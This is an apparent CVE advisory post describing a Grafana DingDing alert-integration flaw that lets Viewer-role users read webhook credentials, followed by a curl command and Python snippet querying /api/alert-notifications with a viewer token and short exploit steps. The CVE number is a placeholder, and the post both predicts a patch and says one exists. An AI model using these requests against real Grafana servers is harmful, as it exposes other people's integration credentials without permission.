Listen to this Post
The CVE-2025-XXXX vulnerability in Grafana’s DingDing Alert integration allows users with Viewer permissions to access sensitive alerting configurations due to improper access controls. The flaw arises from insufficient permission validation when fetching DingDing webhook settings, exposing credentials and alert rules. Attackers could exploit this by sending crafted HTTP requests to the `/api/alert-notifications` endpoint, retrieving unredacted integration details. The vulnerability affects Grafana versions before the patched releases, where the API now enforces Editor-level permissions for accessing DingDing configurations.
DailyCVE Form:
Platform: Grafana
Version: < 10.4.19
Vulnerability: Information Disclosure
Severity: Moderate
Date: 2025-07-17
Prediction: Patch expected by 2025-07-31
What Undercode Say:
curl -X GET 'http://<grafana-host>/api/alert-notifications' -H 'Authorization: Bearer <viewer-token>'
import requests
response = requests.get('http://<grafana-host>/api/alert-notifications', headers={'Authorization': 'Bearer <viewer-token>'})
print(response.json())
How Exploit:
- Send GET request to `/api/alert-notifications` as Viewer.
- Extract DingDing webhook URLs/tokens.
Protection from this CVE:
- Upgrade to patched versions.
- Restrict Viewer API permissions.
Impact:
- Unauthorized credential exposure.
- Potential alert rule manipulation.
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
